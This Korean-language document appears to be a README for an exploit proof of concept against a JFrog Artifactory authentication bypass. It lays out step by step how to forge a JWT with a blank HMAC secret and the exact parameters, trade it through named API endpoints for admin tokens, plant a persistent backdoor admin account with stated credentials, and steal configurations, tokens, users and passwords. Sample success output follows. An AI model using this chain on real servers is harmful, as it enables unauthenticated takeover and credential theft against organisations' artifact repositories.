
CVE-2026-82329에 대한 익스플로잇 PoC로, JFrog Artifactory의 인증 우회 취약점입니다. JWT 토큰을 위조하여 관리자 액세스 권한을 얻고 영구 백도어 사용자를 생성하는 방법을 시연합니다.
CVE-2026-82329 — JFrog Artifactory 인증 우회
취약점 개요
JFrog Artifactory(버전 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.37, 7.161.19)의 치명적인 인증 우회 취약점입니다. 이 결함으로 인해 인증되지 않은 공격자가 빈 HMAC 시크릿(0x20 32바이트)을 사용하여 JWT를 위조하고, 관리자 토큰을 발급하며, 백도어 사용자를 생성할 수 있습니다.
공격 체인
단계 작업 1 alg=HS256, kid=SHA256(""), skip_node_registration=true로 JWT 위조 2 JWT를 /access/api/v1/registry/join으로 전송 → SERVICE 토큰 획득 3 /access/api/v1/tokens를 통해 SERVICE 토큰을 ADMIN 토큰으로 교환 4 /artifactory/api/system/configuration, /access/api/v1/tokens, /artifactory/api/system/version을 통해 관리자 접근 확인 5 /artifactory/api/security/users/{user}를 통해 영구 관리자 사용자 생성 6 구성, 토큰, 사용자, 저장소, 비밀번호 탈취 7 고가치 대상에 대한 토큰 위조
공격 흐름
BLANK_SECRET = b"\x20" * 32
↓
JWT 위조 (HS256, kid=hashlib.sha256(""))
↓
POST /access/api/v1/registry/join
↓
SERVICE 토큰 (scp=admin)
↓
POST /access/api/v1/tokens
↓
ADMIN 토큰 (scp=applied-permissions/admin, aud=*)
↓
관리자 증명 (GET /artifactory/api/system/configuration → 200)
↓
PUT /artifactory/api/security/users/0xTerror
↓
영구 관리자 사용자: 0xTerror:Terrorp0c!7777
↓
탈취: 구성, 토큰, 사용자, 저장소, 비밀번호
↓
피벗 확인: Xray, Mission Control, Distribution 등
↓
고가치 대상에 대한 토큰 위조
PoC 출력 예시
[+] 1단계 /registry/join -> HTTP 201 SERVICE 토큰 (scp=admin)
[+] 2단계 /access/api/v1/tokens -> HTTP 200 ADMIN 토큰 (scp=applied-permissions/admin)
[+] 3단계 관리자 증명: config=200, tokens=200, version=200
[+] 4단계 관리자 사용자 '0xTerror' 생성 -> HTTP 201
[=] 취약 — 인증되지 않은 공격자가 ADMIN 권한 획득
관리자 사용자: 0xTerror:Terrorp0c!7777